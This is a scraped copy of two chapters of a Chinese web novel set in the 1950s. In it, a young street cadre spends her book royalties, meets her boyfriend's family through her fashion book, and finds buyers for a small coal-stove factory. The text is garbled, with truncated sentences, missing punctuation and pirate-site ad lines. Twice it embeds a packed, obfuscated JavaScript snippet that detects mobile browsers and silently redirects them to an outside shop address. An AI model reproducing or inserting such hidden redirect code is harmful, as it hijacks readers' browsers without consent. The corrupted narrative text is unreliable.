叶满枝不以为然道:“这有什么呀,小何同志,咱们之前一直合作愉快,你帮了我们煤炉厂,我肯定不能让你吃亏。只要支行肯给我们贷款,我就负责帮你说服所有工人在支行开户存款。大不了让财务人员辛苦点,以后每个月去银行一趟,把工资汇到职工的户头上。只要这笔钱进了你们银行,你们总能想办法劝大家储蓄吧?” “煤炉厂现在有多少工人?”何山问。 “现在人数比较少,扩大生产规模以后,预计有十几人吧。”叶满枝尽量把饼往大了画,“按照每人十五元的工资计算,能有两百多块的储蓄呢,一年下来,也有两千块了吧?这是咱们双方互利互惠的事,多好啊!” 何山沉思一阵问:“你们厂要贷款多少钱?” 厂子还没开工呢,叶满枝也不知要用多少钱,她大胆地报了一个数字:“200块吧。” 小说的域名qiexs.com?(请来企鹅 小说 看最新章节 完整章节) “我是办储蓄业务的,贷款业务不归我负责,不过我可以回去帮你跟领导提一下。你最好能提前写一个贷款申请,详细列举贷款用途,这样更容易拿到贷款。” 何山不知他们建厂资金只有5块钱的事,虽然觉得她报多了,但也没太惊讶,贷款没有要多少给多少的,最后肯定要压一压。 “小叶干部,你那笔汇款到底能不能存在我们支行?你给我个准话吧!” “这事我还真没办法给你准话,”叶满枝凑近他小声说,“我跟你说实话吧,我这笔汇款是出版社的稿酬,要不是来街道工作,我也没机会出书,现在我们街道的公债任务还没完成呢,我肯定要用这笔钱填补一下窟窿的。最后剩多少,我就去你们银行存多少,这样够意思吧?” 何山觉得她这话还算实在,叮嘱她定期储蓄的利率高,尽量多存银行,终于心满意足地离开了。 * 次日上午,叶满枝在妈妈的陪同下来 到邮政所。 高柜台、铁栏杆汇兑窗口前排着两列长长的队伍。业务员噼噼啪啪拨动算盘珠子的声音在她耳中宛若天籁。 将汇款通知单和户口本递进小窗口时 排队取款的人着实不少业务员往人群里望了一眼顿住已到嘴边的话用铅笔在汇款金额上画了一个圈提醒道“一共是这些钱你们多清点几遍。” 常月娥的动作比闺女利索多了刷刷刷点了两遍确定是780块无误后把信封往棉袄口袋里一塞便拽上闺女快步离开了。 “这钱你打算怎么支配?” 常月娥见过比这更多的钱虽然替闺女高兴但她心里并没有多激动。 “我想买辆自行车!还想买个收音机!对了还得再买一台缝纫机!” 叶满枝从来不是勤俭节约的同志以前看似勤俭那是因为她没钱。 如今有钱了那当然是想买什么就买什么! 常月娥隔着棉袄在她屁股上拍了一下“你这是要把四大件凑齐啊!这些东西买回来少说得五百块钱我看你就是有钱烧的!” 叶满枝得意洋洋道:“周主任说出版社给我的定额是1万册如果能卖到2万册我还能再得780块呢!” “你那本书不是学生念书要用的教材也不是什么文学小说。而且还是专门针对女同志的除了城里某些爱打扮的女同志谁会花钱买这种书?能卖1万册就是烧高香了你快别白日做梦了!” 叶满枝:“……” 干嘛这么现实啊就不能让她多美几天? “这些钱你不许乱花你上班就在家门口买自行车有什么用?缝纫机也不许买你大姐说等你出嫁的时候他们两口子给你陪嫁一台缝纫机。” 叶满枝惊讶地问:“我姐夫能乐意吗?” “哼哼据说是胡建南主动提的估摸已经听说你跟小吴的事了”常月娥拉着她说“你记着你大姐的情就行了胡建南那边不用管。” 叶满枝嘟哝:“自行车和缝纫机都不让买那我买台收音机总行吧?” 常月娥继续泼冷水:“不许买现在买了收音机算你个人的还是算咱家的?等你 出嫁的时候要不要带走?” “那我就把收音机留在家里呗你平时在家还能听听戏曲和新闻。” “我要是想听话匣子早就想办法买了。你四哥整天在家鼓捣花鸟鱼虫要是再给他配个话匣子他就更不想上班了。” 叶满枝无语道:“我好不容易得了笔巨款这也不让买那也不让买总不能全拿去买公债吧?” 她原本打算把四大件凑齐以后就用剩下的钱买公债。 她赚了一大笔稿酬的事瞒不住可以预见的是肯定会有人打她这笔钱的主意。 与其到时候得罪人还不如买了公债省心。 公债兑付需要抽签只要她不说谁也不知道她中没中签。 常月娥拉着她在路口拐弯“陪我去给你三姨打个电话。” “找我三姨干嘛啊?” “上个月就听她说 叶满枝惊讶地问:“单位不是分房子嘛咱们还花钱买房干嘛呀?” “你听我的钱先别乱花我帮你买个房子。” 叶满枝是根正苗红的工人家庭出身她的一贯认知就是房子由单位分配。 常月娥虽然也算是工人家庭出身的但她爸曾在解放前当过外资工厂的副厂长因着是从海参崴被苏联老板带来滨江的他们那一批大师傅被称为“崴子帮”。 崴子帮来到人生地不熟的滨江以后做的第一件事就是买房子安家。 而她前夫家里是开绸缎庄的买房子开分店更是家常便饭。 常月娥见得多了下意识觉得应该给闺女置办个像样的房产。 叶满枝捂着棉袄口袋问:“我三姨那边的房子挺贵吧?得花多少钱啊?” “她上次说要1100块。” “那么多?咱们这边买个私房的院子才四五百块钱。” “那是市中心的地段咱们这里都到郊区了。” 叶满枝对买房子当然是动心的“但我的钱不够啊!人家不可能降价那么多吧?” “我跟你爸打算在你出嫁的时候给你陪嫁三百块钱加上这些应该够了。”常月 娥低声嘱咐,“甭管这房子买没买成,你都不许回家乱说,听见没? “知道啦! * 三姨接到电话以后去帮忙询价了,叶满枝答应得挺好,不回家跟其他人说。 但转过头来,她就没忍住跟吴峥嵘说了。 “我妈不让我提房子的事,但是那么多钱花出去,总要有个去处吧? 吴峥嵘从书桌后抬起头来,问:“你原本打算怎么支配这笔稿酬? “买自行车,收音机,缝纫机,然后剩下三百左右买公债。 吴峥嵘往面前茶缸瞟了一眼,又看向煤炉子上的水壶,给她一个自行体会的眼神。 叶满枝会意,立即提起水壶,帮他添了茶水。 然后期待地望着他,准备听听他的高见。 吴峥嵘喝了口热茶,从写字台抽屉里拿出一个活期有奖储蓄存折。 “这里有三百,你取出来就去单位买公债吧。 叶满枝不好意思要他的钱,推回去说:“算了,还有将近五百的窟窿呢,这个办法不好用。 “那缝纫机、自行车和收音机又不是想买就随时能买到的,别人问起的时候,你用这理由随口应付一下就行了。再说,收音机和自行车我这里都有,你拿去应付亲戚盘问也没问题,实在有那追根究底的,你就说这手表也是你花钱买的。 街道办只有主任和凤姨有手表,叶满枝担心太打眼,总把新手表藏在袖子里,偷偷摸摸看时间,外人还不知道她已经有手表了。 叶满枝又往他的茶缸里添了点水,不过,添水不足以表达她的激动心情,她还凑上去帮人家吹了吹热气。 “嘿嘿,那我就帮你买三百块的公债,回头我给你送过来啊! “嗯。 “对了,出版社给我发样书了,我先送你几本。叶满枝狗腿地将新书奉上,“你可是第一个收到我新书的人!虽然你自己用不上,但是可以转送给家里的女同志们。 吴峥嵘笑着将书收起来,看了眼手表问:“你是不是该去党校上课了? “哎呀,把正事忘了,我这就出发! 小说全网首发无弹窗免费阅读qiexs?(请来企鹅 小说 看最新章节 完整章节) …… 吴峥嵘将快要迟到的小叶干部送去了党校,而后调转方向,驱车回到了省大附近 。 吴家在这里有一栋二层的宅子他祖父母和姑姑一家都住在这边。 收好钥匙推门进屋迎面就是一股暖融融的梅花香。 祖母正往花瓶里插花见他进门立即惊喜地问:“怎么突然回来了?今天能在家吃晚饭吧?” “吴代表公务繁忙哪有时间在家里吃饭?”吴爷爷放下报纸圆形镜片后的目光仿佛能洞悉一切“吴代表无事不登门的。” “不如吴院长日理万机。”吴峥嵘随口回了一句坐到沙发另一侧笑道“奶我在家吃晚饭。” 吴奶奶欢喜地应着 吴峥嵘笑:“我小姑应该跟您介绍得差不多了吧。” “长辈问什么你就答什么”吴爷爷摘下眼镜说“我们想听听你的真实想法。” “这姑娘还是您请党组织牵线介绍的您有什么可担心的?根正苗红的工人家庭出身目前在基层当干部漂亮性格脾气也很好。” 吴爷爷不咸不淡地嗯了一声关心道:“文化程度如何?我听你小姑说她只念到高中就不读书了。” “嗯毕业后没再读书现在已经出书了。”吴峥嵘拆开带来的牛皮纸袋将叶满枝送他的那几本书拿出来“她最近刚出版了一本图书我送几本回来给你们看看。” 吴小姑从厨房出来闻言好奇地问:“谁出书了?” “峥嵘的对象那位小叶姑娘。” “小叶才多大呀就能出书了?”吴小姑放下砂锅快步走过来说“拿一本给我看看是什么书。” 吴爷爷也没料到组织介绍的对象文化造诣居然能达到出书的程度。 他从茶几上拾起一本眯眼看向封面上的书名。 《服装款式图汇编:女装100例》。 嗯? 这是什么书? 他重新戴上花镜继而打开书页一页一页向后翻去。 嗯? 怎么不是裙子就是裤子? “这算什么书?出这种书的意义何在?” 吴峥嵘在封面的“女装”二字上点了点 “这种书 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13189040|132011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对您来说确实没什么意义。” “你还是看党章吧这书是教我们女同志穿衣打扮的”吴奶奶将一本红色册子递到老伴手边又将剥好的橘子放进孙子掌心轻言细语道“你爷爷前阵子被吸纳进党组织了最近正要求进步呢!你俩以后就是同志了!” 吴爷爷摘下眼镜眼里透出严厉“谁跟他是同志?这个家里还有没有规矩?” “党内互称同志是为了体现民主平等”吴峥嵘靠在沙发靠背上轻嘲“咱们家向来没有平等吴院长确实还需要多看党章多学习。” 吴爷爷狠狠拍上扶手怒喝道:“放肆!当个军代表让你连长幼尊卑都忘了?你今天就是特意回来气我的是不是?” “我是特意回来提醒您的”吴峥嵘掰开一半橘子塞进他手里“我怎么听说您最近经常跟人谈论政治?” “那是我的事。” 吴峥嵘在厂里还会有意收敛面对亲爷爷时却向来畅所欲言。 “到了您这个年纪早该退休给年轻人留些机会了。您若是还想留在学校那就安心钻研学问。如果想搞政治最好能离开学校。一边搞学问一边又要搞政治搞不好会让您晚节不保。” 吴峥嵘往茶几的报纸上瞟了一眼继续道:“656的沈厂长一直想请您给厂里当个顾问退休回家也不耽误您搞研究我看您还是考虑一下退休吧!” 眼见老爷子的脸色比外面的雪天还阴沉吴小姑打圆场说:“要不是潘校长再三挽留你爷爷早就退了。他身体硬朗每年都有学术产出想退休都找不到合适的理由。等你结婚生了孩子他也就有借口退休了。” 吴小姑在心里直叹气这祖孙俩每次碰面都让她头大。 她的三个兄长很早就离家参加了革命。 大哥不幸牺牲后为了给老吴家留个香火也是为了让父母安心二哥将最小的儿子送回了老家。 吴峥嵘因此成为所有儿孙中唯一被老爷子带在身边亲自教养的。 老爷子喝过洋墨水为人却异常古板固执且掌控欲极强。 大到人生规划小到吃喝拉撒甚至是孙子的坐卧行止 奈何她这个侄子只在穿开裆 裤的时候听话懂事之后时有不逊之举。 好在他读书天赋极高在学业上从没令人失望过被老爷子视作平生最成功的作品。 然而吴家男人的血液里似乎从没有温驯顺从细胞。 在所有人都以为吴峥嵘会继承祖父的学术衣钵甚至青出于蓝时他竟然不声不响地中断学业参军入伍了! 这招出其不意闹得家里人仰马翻老爷子险些登报与孙子断绝关系! 因为这件事他面对孙子时一直没什么好脸色。 不过吴小姑瞄了眼亲爹手里的橘子经历过硝烟读过军校以后吴峥嵘还是有些长进的最起码知道哄哄他爷爷了。 吴爷爷被两瓣橘子酸得眯起眼睛驳斥孙子的话就在嘴边却一句也说不出口。 猛灌了好几口浓茶才缓过劲儿来。 他从沙发上站起身沉着脸呵斥道:“你跟我上楼来!” “行啊我陪您谈谈政治顺便讨论一下液压起重臂的问题”吴峥嵘将没吃完的橘子放到茶几上笑着对奶奶说 目送祖孙俩一前一后上了楼吴奶奶不无担忧地问:“他俩不会又吵起来吧?” “没事我爸越吵越精神。再说峥嵘有分寸不用咱们操心。”吴小姑安慰道“等他娶了媳妇以后那就更不用咱们操心了。” 吴奶奶重新拿起茶几上的时装书嘀咕道:“也不知什么时候能把人领回来这都几个月了我连人家姑娘的头发丝儿还没见到呢。” “那小子是个顺毛驴这事咱不能催他我估计他还没登过人家姑娘的家门呢。”吴小姑低声说“最近市工会、市妇联还有苏联领事馆要在友谊宫那边举办时装晚会。小叶刚出版过时装图书肯定会对时装晚会感兴趣。我找关系要两张邀请函让峥嵘邀请小叶参加晚会到时候您在晚会上瞅一眼就行了。”[1] 作者有话要说 [1]1956年3月24日真的在北京举办过一场时装晚会当天有600多人出席这种活动在当时的社会是真实存在的。 一百个红包明天见~ 感谢在2024-08-0712:07:37~2024 -08-0812:12:23期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢投出火箭炮的小天使:只给好文投雷1个; 感谢投出地雷的小天使:ggnzc、星星点点1个; 感谢灌溉营养液的小天使:一只大鼻孔藕霸107瓶;挚爱糖果、前渝、华凰、甜橙汽水50瓶;软软43瓶;书虫40瓶;星星点点、yiyi、cc74530瓶;灵z、73500501、一挖一麻袋、野耶、22439522、sissiidun、zsh、月亮20瓶;咕噜咕噜13瓶;雁阵惊寒、逐梦的游鱼、wonderful、小团团、fa、哇咔咔卡卡、羽童童的小羽儿、14596、byo、螃蟹、沅沅、水果岚紫、市井人家、搬砖小赵、懒懒de喵喵ゆДゆ、鲸鲸惊惊惊惊、伊人醉、Liberalxia、春三月10瓶;575884189瓶;吉吉急急急8瓶;193428877瓶;张笙笙6瓶;今天也很困、于是、sunny、小野盛盛、什么时候发芽、hebaozhimu、25767564、光阴小屋、一个大芒果5瓶;汽泡酒、布氏漏斗也是漏斗3瓶;温馨、zjzdoyouknow、凉小妖、我家有萌宝、夏玖、紫亚、戊小乙2瓶;涵涵妈、Rorykai、晨熙麻麻、啦啦啦、喵喵喵、我还是最爱吴磊、20521816、晚来天欲雪、然然然然然然然然、55026984、八珍面、莹、红糖酥饼、可尔必思、莫莫、sai好きです、砳砳12138、哇汪汪、时闻、葡萄、1、crystal、旋律小姐、xiaoxiao、‘早起的虫儿、被鸟吃、李木木、小丫、糯米团子、xuanxuan127、金汤肥牛卷卷、49656349、鲁米茜茜、胖蟹、想不出名字的马小马、温暖、梦幻紫蝶_小琼15、57089820、每天都想睡觉、一蓑烟雨、Cccarrotair、李佳熹、helloza、好好学习天天向上、等更大魔王、滴滴答答滴、影牙、60536178、yangtt、团子的早晨、……、胡小胡、嘀嗒嗒、璃茉、两颗糖z、偶人为之、不出、行走的海豚、泥鳅鱼娃娃、球球、缺德三公主、春天花花、每天都想暴富的小可爱、刘文文文文文文文文文、头上长草的羊、宁静致远、追的文都不断更、絮月半里、natsuki、我演戈多、59748440、禾乌昂、喵喵摸~、墨陌、筱筱、喵喵、月月有钱花、kimpl0913、何夕今夕1瓶; 非常感谢大家对我的支持,我会继续努力的! 第 46 章 军代表同志是销售... 叶满枝因天降巨款而心情激荡时,煤炉厂那边已经完成第一批产品的生产任务了。 “小叶干部,你看我们这批煤炉子做得怎么样?” 叶满枝望着满屋的煤炉,惊讶地问:“你们用三天时间就把五十个油漆桶全做成煤炉子了?” “要不是黄泥在冬天不易晾干,我们一天就能做五十个!”工人们士气振奋。 由于工资是计件的,做得越多赚得越多,厂里的七个工人根本不用别人监督,每天都朝九晚五按时上下班。 叶满枝将五十个炉子挨个检查一遍,从中找出十个不合格产品。 “咱们是国营工厂,产品规格必须保持一致。通风口的大小要统一,炉子表面必须平整,填充的黄泥上不能留下明显的手指印。” 她将几个不合格产品提起来,看清楚炉子底部的编号。 在黄泥上留下指印的都是7号工人做的,切口参差不齐的出自5号之手。 “李大爷,罗亮,要不你俩合作吧,”叶满枝建议道,“李大爷手比较稳,负责切割工作,罗亮负责炉子内部的填充,你俩做各自擅长的部分,也省得经常返工。” 两人没有异议,讪笑着取回各自的残次品返工去了。 郭二妮问:“小叶干部,咱们的油漆桶都用完了,接下来是停工还是继续赊账搞生产啊?” “不能停工,郭大姐,你带两人再跑一趟废品收购站,把油漆桶全都定下来,别让他们卖给别人。” 李大爷期期艾艾地提醒:“领导,咱家这院子快被占满了,再生产的话,工人要没地方下脚了。” 叶满枝语气坚定道:“你们安心搞生产就行,只要能确保商品质量,咱们的产品不愁销路!” 她在厂里鼓舞了一阵士气,而后提着两个卖相比较好的煤炉子回了街道办。 “主任,蜂窝煤炉子已经试生产成功了,咱们怎么定价啊?” 穆兰问:“每个炉子的成本大概是多少?” “加上人工费、运输费、场地租金,平均下来每个炉子不到一块钱,如果能增产,成本还会降低一些。” 穆兰想了想说:“蜂窝煤炉子是计划外商品,价格随行就市,可以跟着普通煤炉子的价格走,出厂价定在一块六,或者一块 七吧。” 叶满枝做贼似的小声问:“主任 “不低了。批发价要加价10%零售价再加15%从商店买一个煤炉子需要两块多这个价格就可以了。” 刘金宝凑过来说:“小叶你按照一块七的价格在咱们单位内部卖几个呗!我先买俩!” 叶满枝内心蠢蠢欲动。 她其实挺想卖的早卖早回本。 可是偷瞄一眼虎视眈眈的张勤简她叹口气又违心地摇摇头。 煤炉厂是国营厂只参与生产不参与商品流通环节。 也就是说产品必须交给商店销售不能自产自销。 像他们这样的小厂私下倒卖几个商品工商一般不会追究。但凡事都有个万一万一被人抓住了把柄她得不偿失还是不要冒险了。 叶满枝重新套上棉袄提着那两个炉子去了供销社跟人家推销这种新型蜂窝煤炉子。 供销社的侯主任倒是挺爽快听了她的来意二话没说就把煤炉子留下了。 “小叶干部供销社场地有限你们先往这边送五个炉子售罄以后我再给你们打电话送货。” 供销社虽然不归街道办管理但毕竟是兄弟单位侯主任还是要与邻居们处好关系的。 反正这条街上所有工厂的产品几乎都被他收进了供销社柜台不差一个煤炉子了。 叶满枝在张勤简那里听了好多供销社和商店的坏话以为要浪费一番唇舌才能让人家代销煤炉子没想到她不费吹灰之力就把事情办成了! 她惊喜地说:“那我先代表厂里多谢侯主任支持工作需要送货的时候你随时往街道办打电话。” “哈哈哈好说好说咱们相互支持工作。” 叶满枝给供销社送了五个炉子就安心地回去等电话了。 她不只兼任煤炉厂的厂长还有民政和教育工作要负责。 在街道办忙碌了两天等她筹备完第一期扫盲班的结业考试终于闲下来的时候突然惊觉不对劲。 供销社好像一直没给她打电话要求送货呀! “二贺这几天接到过供销社的电话吗?” “没有只有一通催缴电费的电话张副主任去交钱了。” 叶满枝:“……” 供销社那边是什么情况? 将近三天的时间不会连五个炉子都没卖出去吧? 她心里腹诽着又往供销社跑了一趟。 这回她没找侯主任独自站在门口观察了一下供销社内部的销售情况。 煤炉子体积比较大 但是由于他们的煤炉子是用油漆桶做的视线晃过去很容易被误认成油漆。 她在供销社门边观察了半个小时煤炉子始终无人问津一个询价的顾客都没有。 而供销社的销售特点是顾客买什么售货员就卖什么。 顾客不主动询问他们也不会主动推销。 蜂窝煤炉子是新产品又长得跟油漆似的不专门进行推广的话普通顾客很难会注意到它。 她回家吃午饭的时候跟常月娥吐槽了这件事。 常月娥却说:“你不给人家好处谁会给你推销啊?” “我怎么给好处啊?那不是行贿吗?” “柜台里有的位置好有的位置差凭啥有些商品就能被摆到最好的位置上?”常月娥不以为意道“以前那些布商为了让绸缎庄的伙计帮他们推销产品都要私下给人家回扣的。” 叶满枝心说她可没有回扣给售货员。 但这事确实不能再拖了煤炉厂的工人生产积极性过高三天时间又生产了60多个煤炉子李家的院子已经被摆满了。 要是再找不到销路厂里就得暂时停工。 叶满枝下午回单位上班的时候拿着小本本做了统计。 “二贺你家要买几个煤炉子?” “一个就够了炉子买那么多干嘛?”赵二贺问“多少钱一个啊?” “供销社的零售价是1块8毛7虽然价格一样但咱单位的人不用往供销社跑我让厂里直接送货过来。”叶满枝在笔记本上做了记录又问“魏姐呢家里需要蜂窝煤炉子不?” “我要两个吧给我儿子那屋里放一个取暖。” 街道办这边一共能消化10个蜂窝煤炉子。 叶满枝又以同样的方式亲自 去了派出所、粮站、卫生站、工商所等几个单位。 凡是响应市里的号召,最先使用蜂窝煤的基层单位,全被她跑遍了。 加上街道办的10个,总共订出去42个煤炉子。 她回厂里安排人手往这些单位送货,而后带上郭二妮,再次跑去了供销社。 “侯主任,您可真是把我害惨了!叶满枝坐到侯主任的对面就开始诉苦,“三天时间,怎么连五个煤炉子都没能卖出去啊? 侯主任呵呵笑:“顾客不需要,咱也不能强买强卖啊,小叶干部,你们厂不能全指望我这一家供销社,还得把产品送去其他商店试试。 叶满枝板着脸说:“我就是太信任咱们供销社了!现在是煤炉子的销售旺季,还以为供销社的走货量能有多大呢,回去让工人加班加点赶制了上百个煤炉子,结果你们三天只卖出去两个。 侯主任打起了官腔:“新产品是这样的,总要给顾客一个接受和了解的时间。 “那您倒是让售货员帮我们宣传宣传呀,煤炉子卖得多,供销社的盈利也高,不是您自己说的嘛,咱们相互支持工作。 “哎呦,小叶干部,咱们邻里邻居的,要是能分得出人手帮你们推销,我肯定义不容辞啊。侯主任往柜台前排队的人群指了指,“你看我们售货员忙的,哪有精力帮你们宣传新产品? “要不是工厂不能自产自销,我可真不乐意把货送到你们供销社来!叶满枝把她的小本本拿出来,“咱们街上的几家基层单位要集体采购煤炉子,订单我已经拿到了,总共需要四十多台,就看咱们供销社想不想要这笔订单了,如果不需要,那我就去其他商店试试。 侯主任一愣,原以为对方是来兴师问罪的,没料到还有一笔大订单。 “哈哈,既然有订单,那肯定要送到我们供销社来的,其他商店哪有咱们关系铁啊! 他摸了摸裤兜,习惯性地要去掏烟盒,手伸到半途,想起叶满枝是个不抽烟的女同志,又讪讪地把手缩了回去。 叶满枝露出一丝浅笑,“侯主任,这笔订单,由我们厂负责送货,供销社什么都不用做,只派个人上门开票收钱就行。这样的好事,打着灯笼也难寻吧? 侯主任是老江湖了,听出她这是想跟 自己谈条件,爽快道:“小叶干部有条件尽管提,咱们商量着办。 “侯主任,这笔订单就当是我们厂送您的,我们也体谅供销社人手不足,叶满枝把郭二妮往前一推说,“这是我们厂的职工,既然您这边人手不足,那我把郭二妮同志给您留在供销社,让她每天下班以后,来供销社推销我们的煤炉子。 侯主任惊讶地看了眼郭二妮。 煤炉厂的职工真够可以的,下班以后还乐意出来推销产品? “当然,咱也不能让郭二妮同志做白工,她每卖出一个煤炉子,供销社和煤炉厂就各拿出1分钱作为郭二妮同志的奖金。 供销社销售一台煤炉子的利润是一毛七,这种计划外商品没有国家统一定价,价格和利润都是有弹性的,侯主任不在乎那一分钱的利润。 但这钱若是被外人赚走了,他对供销社内部的售货员不好交代。 叶满枝像是猜透了他的心思一般,笑道:“侯主任,我之前也动过给售货员发奖金的心思,就是不知道咱们供销社内部是如何规定的,生怕办错了事,给售货员们添麻烦。 “唔,售货员的服务热情高,销售业绩好,由厂家发放适当的奖金也是允许的。 她把事情放到台面上,侯主任反而不好出言阻挠给售货员发奖金了。 叶满枝抚掌笑道:“那可太好了,侯主任,咱们就这样说定了,甭管是供销社的售货员,还是煤炉厂的职工,只要成功卖出一台煤炉子,咱们两个单位就各奖励1分钱! “行,就这么说定了,希望煤炉厂尽快迎来开门红! “哈哈,借您吉言,叶满枝扭头对郭二妮说,“郭大姐,你今天就留在这里帮着推销煤炉子吧,我陪侯主任去把那42台煤炉的货款结了。 郭二妮登时点头如捣蒜。 她在心里默默佩服着小叶干部。 给售货员的2分钱,说是奖金也行,说是回扣也行。 就看是私下操作,还是放到台面上来了。 如果是私下操作的,煤炉厂就要单独给售货员2分钱的回扣。 可是被小叶干部放到台面上以后,不但回扣变成了奖金,还让供销社帮着出了1分钱。 关键是,这钱大家拿得安心呀! 郭二妮不嫌钱少,卖一台炉子奖励2分钱,每天推销5台的话,一个月下来,她能利用业余时间赚3块钱呢,她可太知足了! 然而,叶满枝从供销社离开以后,提着的心却并没放下。 一台炉子能用好几年,大家买过一次煤炉子以后,短期内不会消费第二次。 而光明街上使用蜂窝煤的居民并不如使用散煤的多。 以每天50台炉子的产量计算,用不了一个月,街上的蜂窝煤炉子就饱和了。 到时候厂里把煤炉子卖去哪里? 供销社是看在街道办的面子上,才同意代销煤炉子的。 而出了光明街,街道办的面子可就不好使了。 叶满枝觉得,是时候招聘两名负责供销工作的业务员了,外面的商店那么多,总不能全靠她一个人去跑吧? 她观察了供销社之后几天的销售情况,郭二妮和售货员一起推销,每天差不多能卖十二三台煤炉子。 销售速度是远远赶不上生产速度的。 只靠这一家供销社确实不行。 “五哥,你们最近拉活的生意咋样?” “还行,没有夏天的生意好。嘶,咳咳……”五哥被常月娥喊回军工大院吃饺子,一口烧酒辣得他嘶嘶哈哈直咳嗽。 常月娥在儿子背上拍了拍,埋怨道:“吃饭的时候,总说什么话?” “我跟我哥聊天嘛,”叶满枝继续问,“哥,你出去拉活的途中,能不能帮我们厂捎带手卖几个煤炉子?” 四哥吐槽:“我看你真是魔障了,怎么整天琢磨煤炉子?” 五哥笑着问:“怎么卖啊?” “就按供销社的零售价卖,你每卖出一个,就有二分钱的回扣,要是能让你们车队的那些车夫一起参与就更好了。” 叶满枝觉得车夫们走街串巷,深入居民区内部,比供销社更有优势。 五哥想了想说:“我倒是能帮你卖炉子,但其他人就未必了。煤炉子的重量不算轻,无论是三轮车还是马车,都挺压车的,你们给2分钱的回扣太少了。” 这话倒也没错,人家还有远途运输成本呢。 叶满枝问:“你觉得五分钱咋样?我们厂再补贴三分钱。” 不能怪她抠,都是跟张 勤简学的。 有那五块钱的建厂资金打样她可不敢太铺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13189041|132011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 张浪费。 五哥不太确定五分钱是否有吸引力他自己什么钱都赚2分也不嫌少。 但其他人就不一定了。 “我明天去车队帮你问问要是有人乐意干我就把人带去你们煤炉厂。” “嗯你们从厂里拿货从供销社开发.票。” 说到这里叶满枝心里又不平衡了。 她既要操心生产又要寻找销路供销社却啥都不用干只负责开票就行了。 他们这钱赚得也太容易啦! 有时候某些想法一旦冒出来就很难再压下去。 她心里越琢磨越觉得自己吃亏次日见到吴峥嵘的时候还跟他念叨了一遍。 吴峥嵘只能安慰她:“供销社是你目前唯一的销售渠道除非你们自己开一个门市部否则无论跟谁合作你都会觉得自己吃亏。” “哎我们没有这个经营资质。”叶满枝趴在桌子上杵着下巴问“你说 “一百台很多吗?” “我们的规模小呀不能跟656这种大型工厂比。一百台煤炉子几乎套住了我们全部的流动资金。” 吴峥嵘觉得这姑娘是在给他出难题。 推销煤炉子已经不是他熟悉的领域了。 见他神色认真严肃叶满枝以为他在思考问题便安静地趴在对面盯着他没敢出声打扰。 过了一刻钟左右她忍不住问:“怎么样?有眉目了吗?” 在她心里吴峥嵘是全能型人才似乎什么都难不倒他。 为煤炉子打开销路应该也不在话下吧? 于是吴峥嵘就这样被小叶同志架在煤炉子上下不来了。 他神色微妙地喝了口小叶同志倒的茶快速在心里权衡一番后谨慎地问:“最近报纸上好像报道过冬天紧闭门窗生炉子导致居民一氧化碳中毒的新闻?” “是有这样的新闻前几天第一居委会那边也有个老人差点中毒半夜被儿子发现以后及时抢救回来了。” 吴峥嵘“嗯”了一声慢条斯理道:“我做的那种煤炉子与普 通煤炉子相比最大的优势其实并不是节省煤炭而是减少了污染。大家常用的炉子都是从下面点火的燃烧从下往上产生的二氧化碳通过上面没能烧红的散煤时有一部分会被还原成一氧化碳造成一氧化碳污染。” “而你们厂正在生产的这种蜂窝煤炉子是从上面点火的燃烧从上往下产生的一氧化碳会比传统煤炉少很多。你们厂可以从这方面做做文章。” 叶满枝双眸晶亮神采奕奕地问:“我可以把你说的这些投稿给报社宣传我们的蜂窝煤炉子吗?” “可以上次同学聚会见到的贺望兰就是日报社的有需要的话可以找她帮忙。” 叶满枝兴奋地站起身上半身越过写字台在他嘴唇上啾啾了两下。 “军代表同志你可太厉害了!你就是销售天才呀!” 吴峥嵘心虚地轻咳一声 叶满枝看着他笑:“你是不是想跟我出去约会啦?” “嗯周末在友谊宫有个时装晚会据说同时还会举办交谊舞会你想去的话可以一起去看看。” 叶满枝高兴地答应:“行呀我学会交谊舞以后只跳过那一次再不跳都快忘了!” “邀请函是我小姑送过来的”吴峥嵘温声提醒“她不但送了邀请函还特意叮嘱我邀请你共同出席。以我对她的了解她恐怕不会只送一张邀请函了事我怀疑她可能会撺掇我奶奶一起去。” 叶满枝脸上空白了一瞬紧张地问:“到时候要跟你的家人见面吗?” “不一定这只是我的猜测你要是不想去的话咱们可以另找机会参加别的舞会。” “反正早晚要见面的见一见也无妨”叶满枝内心纠结了一阵问“会见到你爷爷吗?” “见到也没关系你跟我相亲的时候什么样在他面前就表现成什么样我爷爷很好说话的。” 作者有话要说 一百个红包明天见~ 感谢在2024-08-0812:12:23~2024-08-0912:17:27期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢投出火 箭炮的小天使:是HyunA1个; 感谢投出地雷的小天使:螃蟹、Jelly、172471371个; 